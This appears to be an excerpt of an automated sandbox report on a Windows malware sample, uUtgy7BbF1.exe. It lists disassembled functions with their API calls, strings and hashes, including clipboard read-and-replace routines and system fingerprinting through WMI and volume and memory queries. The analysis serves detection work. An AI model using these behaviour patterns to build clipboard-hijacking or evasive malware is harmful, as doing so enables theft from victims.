Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 2813614b6800338ed58cb91138350e3f7b1f01c39c8736a2f6165ed07ebac61e
Instruction ID: ac1d7512b63053903d9fcd5156014c636dd31bd79a6adecf14af9686e835f89c
Opcode Fuzzy Hash: 2813614b6800338ed58cb91138350e3f7b1f01c39c8736a2f6165ed07ebac61e
Instruction Fuzzy Hash: 9D21B3B4E0420A8FCB58EFA8C5956AEBBF2EF48300F01845DE459AB351D7789940CF55

Function 0069A470 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000), ref: 0069A487
GetLastError.KERNEL32(?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000,?,?,?,00692DF7,?), ref: 0069A493

Part of subcall function 0069A4E4: CloseHandle.KERNEL32(FFFFFFFE,0069A4A3,?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000,?,?), ref: 0069A4F4

___initconout.LIBCMT ref: 0069A4A3

Part of subcall function 0069A4C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0069A461,0069993F,?,?,006934B1,?,00000000,00000000,?), ref: 0069A4D8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00699952,00000000,00000001,?,?,?,006934B1,?,00000000,00000000,?), ref: 0069A4B8

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 195cfc72e948d822a67b272de43b55460c10ac82bfe29b06bd7478a618f1d147
Instruction ID: fedd7b42e56578b61224a6c742ecfaed4d39a0a813bb4af475049c2d204350e1
Opcode Fuzzy Hash: 195cfc72e948d822a67b272de43b55460c10ac82bfe29b06bd7478a618f1d147
Instruction Fuzzy Hash: 73F01C36140615BBCF223FD1DC08AD93FABFB8A7A0F114410FA1D85520DA729920AFE5

Function 0067EFA7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0067EFB9
GetCurrentThreadId.KERNEL32 ref: 0067EFC8
GetCurrentProcessId.KERNEL32 ref: 0067EFD1
QueryPerformanceCounter.KERNEL32(?), ref: 0067EFDE

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2e1bb5f6e1f3b0669b275e5d106a8c03225e1deb1e55770a1c868e44a009e1f0
Instruction ID: 7c820e8aef68c50e1677b92553817cf0acfd2d93a6a6dcf95ada45ca7de8a2d9
Opcode Fuzzy Hash: 2e1bb5f6e1f3b0669b275e5d106a8c03225e1deb1e55770a1c868e44a009e1f0
Instruction Fuzzy Hash: E7F0B270C0020CEBCB00EFF4CA4898EBBF4EF5D200BA15996A412E7154EB70AB44CF50

Function 0068A7E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0068A6E1,?,?,00000000,00000000,00000000,?), ref: 0068A805

Strings

MOC, xrefs: 0068A817
RCC, xrefs: 0068A81F

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 3da68204e8d53134161170a216a1323b1ed672229fcbf5236e7cbb7800abd641
Instruction ID: 1016494cf24ad048d7ad40bf3075514191f121f06af4090354d8cf31a5378c6a
Opcode Fuzzy Hash: 3da68204e8d53134161170a216a1323b1ed672229fcbf5236e7cbb7800abd641
Instruction Fuzzy Hash: 9F418B71900209AFDF16EF94CC81AEEBBB6FF08300F1982AAF90467221D3359951DF65

Function 0068A04C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0068A2C3

Strings

csm, xrefs: 0068A2E5
csm, xrefs: 0068A356

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 86e5a73b4b464e0be270cc27504c8d443697e004304d6e85d341602b0687a831
Instruction ID: 261ed36d33c724ae20194ca0dd8909656455967eff9ae23622e5a7053d1c68af
Opcode Fuzzy Hash: 86e5a73b4b464e0be270cc27504c8d443697e004304d6e85d341602b0687a831
Instruction Fuzzy Hash: E331AF32400218DBEF26AF94C8409AE7B67FF09715B18875BFC4489221C336D8A2DB92

Function 00674B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00674B2B

Part of subcall function 0067BE78: _Yarn.LIBCPMT ref: 0067BE98
Part of subcall function 0067BE78: _Yarn.LIBCPMT ref: 0067BEBC

Strings

^Ig, xrefs: 00674B1C
bad locale name, xrefs: 00674B9B

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Yarn$LockitLockit::_std::_
String ID: ^Ig$bad locale name
API String ID: 360232963-1188953556
Opcode ID: fc427fd012ce731cc1fb697fd8d31c6cbe6fe231dbc91d3b304eecf5e2111920
Instruction ID: f5f541d50dc4dd153d1a811e88ae8c633f1eac761763520790d352c0af5a6d63
Opcode Fuzzy Hash: fc427fd012ce731cc1fb697fd8d31c6cbe6fe231dbc91d3b304eecf5e2111920
Instruction Fuzzy Hash: 4B01D670905108DBDB48FFA9D495BAD7BB2AF44308F04846CE64A57342DF30AA90CB9A

Analysis Process: uUtgy7BbF1.exePID: 7580, Parent PID: 7484COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	6.9%
Signature Coverage:	29.7%
Total number of Nodes:	232
Total number of Limit Nodes:	19

Executed Functions

Function 00411BC0 Relevance: 143.9, APIs: 3, Strings: 78, Instructions: 2186COMMON

Download Yara Rule

Strings

o, xrefs: 0041353B
8, xrefs: 004121C2
$, xrefs: 00412928
-, xrefs: 00411C26
e, xrefs: 004134EB
m, xrefs: 0041352B
o, xrefs: 004122C5
\, xrefs: 0041322D
7, xrefs: 00411C80
;, xrefs: 0041328D
(, xrefs: 00412908
}, xrefs: 004134AB
k, xrefs: 0041351B
4, xrefs: 00412D30
`, xrefs: 00412B6D
%JU, xrefs: 004122EC
M`QW, xrefs: 00412448
w, xrefs: 0041315D
*, xrefs: 0041280C
l, xrefs: 0041312D
D, xrefs: 00413B2F
9, xrefs: 0041324D
5, xrefs: 00412807
f, xrefs: 004126B3
$, xrefs: 004124E9
a, xrefs: 004134CB
}, xrefs: 004128F8
y, xrefs: 0041348B
_, xrefs: 004131DD
|, xrefs: 004129C8
<, xrefs: 00412ECC
D, xrefs: 00412940
e, xrefs: 004126AE
4, xrefs: 00412802
`, xrefs: 004132DD
D, xrefs: 004136CB
`, xrefs: 004132CD
', xrefs: 00411FFD
*, xrefs: 00411CFC
E, xrefs: 00412A92
8, xrefs: 00413583
g, xrefs: 00411E3F
F, xrefs: 00412930
j, xrefs: 0041329D
f, xrefs: 0041316D
D, xrefs: 00413B22
@, xrefs: 00412920
h, xrefs: 004122CA
?, xrefs: 00412E9C
r, xrefs: 00412619
B, xrefs: 00412910
I, xrefs: 004120F2
:, xrefs: 00412E8C
g, xrefs: 004134FB
@, xrefs: 004131CD
L, xrefs: 00413523
e, xrefs: 0041317D
c, xrefs: 004134DB
a, xrefs: 0041313D
i, xrefs: 0041350B
., xrefs: 004131FD
Z, xrefs: 0041261E
3, xrefs: 004127FD
[, xrefs: 00412623
, xrefs: 004129B8
(, xrefs: 004132BD
g, xrefs: 0041314D
q, xrefs: 004132AD
{, xrefs: 0041349B
D, xrefs: 00412A82
G, xrefs: 00412938
f, xrefs: 004129D8
h, xrefs: 004129E8
&, xrefs: 004135F3
C, xrefs: 00413533
L, xrefs: 00412900
g, xrefs: 004126B8
>, xrefs: 00412EDC

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: $$$$$%JU$&$'$($($*$*$-$.$3$4$4$5$7$8$8$9$:$;$<$>$?$@$@$B$C$D$D$D$D$D$E$F$G$I$L$L$M`QW$Z$[$\$_$`$`$`$a$a$c$e$e$e$f$f$f$g$g$g$g$h$h$i$j$k$l$m$o$o$q$r$w$y${$|$}$}
API String ID: 0-362997037
Opcode ID: 4d9be5020c6e82cf067b014f18fe9f73e9b73f1c5d366c73e9ef59bca02c0f63
Instruction ID: 73db62761c6805435fe7a1f262c61e7275afd3a694a408c1188180c8cf5c63de
Opcode Fuzzy Hash: 4d9be5020c6e82cf067b014f18fe9f73e9b73f1c5d366c73e9ef59bca02c0f63
Instruction Fuzzy Hash: 0A13E17160C7C08AD3349B3889443EFBFD1ABD6324F188A2EE5E9873D2D67885858757

Function 004387D0 Relevance: 32.3, APIs: 11, Strings: 7, Instructions: 776
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044368C,00000000,00000001,0044367C), ref: 00438A5F
SysAllocString.OLEAUT32(AF71AD7E), ref: 00438AD5
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438B14
SysAllocString.OLEAUT32(5F8F5D8B), ref: 00438BB5
SysAllocString.OLEAUT32(4F0B4D1F), ref: 00438C4B
VariantInit.OLEAUT32(F2FDFCE7), ref: 00438CBE
SysFreeString.OLEAUT32(?), ref: 00438FAC
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00438FE0

Strings

'y){, xrefs: 00438C15
Rac, xrefs: 00438C05
&e?g, xrefs: 00438C0D
|}, xrefs: 00438C1D
xY`[, xrefs: 00438BD5
$%&', xrefs: 00439081
UvW, xrefs: 00438BED

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: UvW$$%&'$&e?g$'y){$Rac$xY`[$|}
API String ID: 505850577-3935235898
Opcode ID: cedc0d122eda84c37e771d2f76dcedd7a404c4fffcf9a77079a05c5f669563b7
Instruction ID: 3c98ca3655e8fbad89b897cedc23f9ec929c21c5d575d6668501c9692a1c22de
Opcode Fuzzy Hash: cedc0d122eda84c37e771d2f76dcedd7a404c4fffcf9a77079a05c5f669563b7
Instruction Fuzzy Hash: 4D32F072A083408BD314CF64C8817ABFBE2EBD9714F18592EF5949B390DB78D905CB96

Function 0041052C Relevance: 23.5, APIs: 2, Strings: 11, Instructions: 707
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b, xrefs: 00410597
p, xrefs: 00410A5A
1, xrefs: 0041053F
x, xrefs: 00410AE8
{, xrefs: 00410DCC
U, xrefs: 00410982
G, xrefs: 00410D27
f, xrefs: 00410AE0
<, xrefs: 00410CAB
[, xrefs: 00410C32
A, xrefs: 00410C3A

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: 1$<$A$G$U$[$b$f$p$x${
API String ID: 0-2596809943
Opcode ID: 06a85181474689744a2e3f55f7eab027660ec147f8b5799b2c8a475eacb6260e
Instruction ID: 977eae197484217fe3de983ef0328e02866eaecbdb9648841de3f436da40142b
Opcode Fuzzy Hash: 06a85181474689744a2e3f55f7eab027660ec147f8b5799b2c8a475eacb6260e
Instruction Fuzzy Hash: 3052907160C7808BD324DB38C5953AFBBE1ABD5314F148A2EE4DAD73C1DA7889858B47

Function 038A1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 038A1032
OpenClipboard.USER32(00000000), ref: 038A103C
GetClipboardData.USER32(0000000D), ref: 038A104C
GlobalLock.KERNEL32(00000000), ref: 038A105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 038A1090
GlobalLock.KERNEL32 ref: 038A10A0
GlobalUnlock.KERNEL32 ref: 038A10C1
EmptyClipboard.USER32 ref: 038A10CB
SetClipboardData.USER32(0000000D), ref: 038A10D6
GlobalFree.KERNEL32 ref: 038A10E3
GlobalUnlock.KERNEL32(?), ref: 038A10ED
CloseClipboard.USER32 ref: 038A10F3
GetClipboardSequenceNumber.USER32 ref: 038A10F9

Memory Dump Source

Source File: 00000003.00000002.2570235413.00000000038A1000.00000020.00000800.00020000.00000000.sdmp, Offset: 038A0000, based on PE: true

Associated: 00000003.00000002.2570220541.00000000038A0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2570249914.00000000038A2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38a0000_uUtgy7BbF1.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: d84f7d812b42e5c573922966138a6371759f09f56b4166e7db2c21a49cc90113
Instruction ID: f7d9234c761299d369688ba2132cfb0a66b42303c26197e4e459d0f22924ab76
Opcode Fuzzy Hash: d84f7d812b42e5c573922966138a6371759f09f56b4166e7db2c21a49cc90113
Instruction Fuzzy Hash: 59219835604E50ABF7307BFAAC0DB6AB7A8FF45745F0808F8F945D6164E7618810D7A1

Function 004230D3 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>\:B, xrefs: 00423117
,@ F, xrefs: 0042311F
DJ, xrefs: 00423659
IF, xrefs: 00423557
,D J, xrefs: 00423127
HN, xrefs: 00423661
57B, xrefs: 004230DF

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: DJ$,@ F$,D J$57B$>\:B$IF$HN
API String ID: 0-546559132
Opcode ID: 256cd1e2b87f342527cd7979723287081b232435937e080061f0061264ea3875
Instruction ID: 573b38de4df0c584551da9470d46ba7f63cc1349f9138d30f378e2aa21cb097c
Opcode Fuzzy Hash: 256cd1e2b87f342527cd7979723287081b232435937e080061f0061264ea3875
Instruction Fuzzy Hash: 88E1D9B560D3418FD310CF68E89126BBBE1FBC5754F14892DE9818B361E778890ACB4B

Function 00409400 Relevance: 7.9, Strings: 6, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F72FA77EBAEB2CCB8246926E533C64D7, xrefs: 004094C4
f*Dk, xrefs: 00409531
j*Dk, xrefs: 0040957B
hi, xrefs: 004097F3
QB, xrefs: 004096C7
9Z, xrefs: 004096BF

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: 9Z$F72FA77EBAEB2CCB8246926E533C64D7$QB$f*Dk$hi$j*Dk
API String ID: 0-1644723278
Opcode ID: b730e9b78eb2bf3f614c61d1bfed981cc9b54103566f3d92fdc9fb82601dc528
Instruction ID: f303c378167b457a4bc42ceebe78ce79b7bb772c8b3d846b3dc4aa0fafa8ed13
Opcode Fuzzy Hash: b730e9b78eb2bf3f614c61d1bfed981cc9b54103566f3d92fdc9fb82601dc528
Instruction Fuzzy Hash: 85B1227161C3808BD718DF65C8516ABBBE2EBD2304F14892DE0E59B392D73CD50ACB5A

Function 0042C98C Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042CDAC

Strings

YcZ`, xrefs: 0042CF1B
b, xrefs: 0042CDC4
@[/S, xrefs: 0042CE44

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: @[/S$YcZ`$b
API String ID: 3960555810-168354034
Opcode ID: 3b8701f6d285188c90c39da254eef539b97e416a32c7c175b415e0f0a5f096d4
Instruction ID: b2947f96fe340a9df3130b14c84d258fde6853037fb12cce7bd63350d2db69b3
Opcode Fuzzy Hash: 3b8701f6d285188c90c39da254eef539b97e416a32c7c175b415e0f0a5f096d4
Instruction Fuzzy Hash: 39F1247060C3D18BD729CF29A4A036FFFE1AF96304F18496EE0DA87392D77985058B56

Function 00417745 Relevance: 1.8, APIs: 1, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc985996d123b44c06bdbe62607eeac046dd191f9733dc24fca1af59f0d703a
Instruction ID: b8f4197d2f7c9f56fe9597a4586bb863907c9934a7ce81ce2e300af997d9591d
Opcode Fuzzy Hash: 6cc985996d123b44c06bdbe62607eeac046dd191f9733dc24fca1af59f0d703a
Instruction Fuzzy Hash: 398117B190C2018FC714DF28C8916ABB7F1AF95304F18492EE4D987392E738E945CB9B

Function 00440770 Relevance: 1.5, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

TUVW, xrefs: 004407F8, 004408C2

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID: TUVW
API String ID: 2994545307-380802359
Opcode ID: 5a35a9d452afbc38b6c475497b936c0f9f51ddbb7844b1b6c0d36c5b06337292
Instruction ID: 7047d3b5c699d964b661b5aab337125677ab7b56ce49f2f3292149c0b4397d23
Opcode Fuzzy Hash: 5a35a9d452afbc38b6c475497b936c0f9f51ddbb7844b1b6c0d36c5b06337292
Instruction Fuzzy Hash: 659165717083019FE325DF68D880A2BB7E2EBD6310F18893DE69597391C639DC16CB96

Function 0043DA10 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00440D9D,00000002,00000018,?,?,00000018,?,?,?), ref: 0043DA3E

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040D11B Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

F72FA77EBAEB2CCB8246926E533C64D7, xrefs: 0040D240

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: F72FA77EBAEB2CCB8246926E533C64D7
API String ID: 0-2982782357
Opcode ID: 9e7cc8c59f2c18173cea31accb2a176d643aef917dc6008e0370f2a834755b9a
Instruction ID: b8d103c4c60b49fbe0ba22ba74ead3f046f8f308e92d5c9b0b08579b41597fc8
Opcode Fuzzy Hash: 9e7cc8c59f2c18173cea31accb2a176d643aef917dc6008e0370f2a834755b9a
Instruction Fuzzy Hash: 8C51BC72B407004BDB184F79CC52377B6A3AFE6321F1D967DD0969B7D6E63898028308

Function 0042D0CD Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af5b5c8d97ad725f1cba710caa06336f5d4c090d00e4ccb21e8133b60b871a38
Instruction ID: c62614d48869f4b7cb033b57bff67ce6e552f370dc62dc9228bf6d030800f41c
Opcode Fuzzy Hash: af5b5c8d97ad725f1cba710caa06336f5d4c090d00e4ccb21e8133b60b871a38
Instruction Fuzzy Hash: 28412435B083514BD328CA3C9C6137BBBE2DBD6311F688A6DE5D1C7799E639C8018709

Function 0043D4E1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a2e344c5d1edb06f7df8b2f1768e3dea44206ea03c0c1cb075caf44c4f91fa1
Instruction ID: dc484de900702ea7fd58ce72979cff842d7c41974bd76ae8d50f3999e681b5d9
Opcode Fuzzy Hash: 7a2e344c5d1edb06f7df8b2f1768e3dea44206ea03c0c1cb075caf44c4f91fa1
Instruction Fuzzy Hash: AA01DE75A80B108BD7298F24DD6136A77E0EB07304F14806EC592A7780DA7AFD008F99

Function 004336A0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 004336E2
GetSystemMetrics.USER32 ref: 004336F2

Strings

uDC, xrefs: 004337FE
*?C, xrefs: 00433882
LGC, xrefs: 00433790
AC, xrefs: 004338AE
1, xrefs: 004337D2
zBC, xrefs: 00433840
=C, xrefs: 0043379B

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: MetricsSystem
String ID: AC$*?C$1$LGC$uDC$zBC$=C
API String ID: 4116985748-682157884
Opcode ID: 02bb96d70cd6577b4178e4b39174d52ca7c32edb2cda6836f488a2f11afff723
Instruction ID: 1998a03cc5df2a2f33f1525dd043022f22112b898c887f3cf15ef20427d46a93
Opcode Fuzzy Hash: 02bb96d70cd6577b4178e4b39174d52ca7c32edb2cda6836f488a2f11afff723
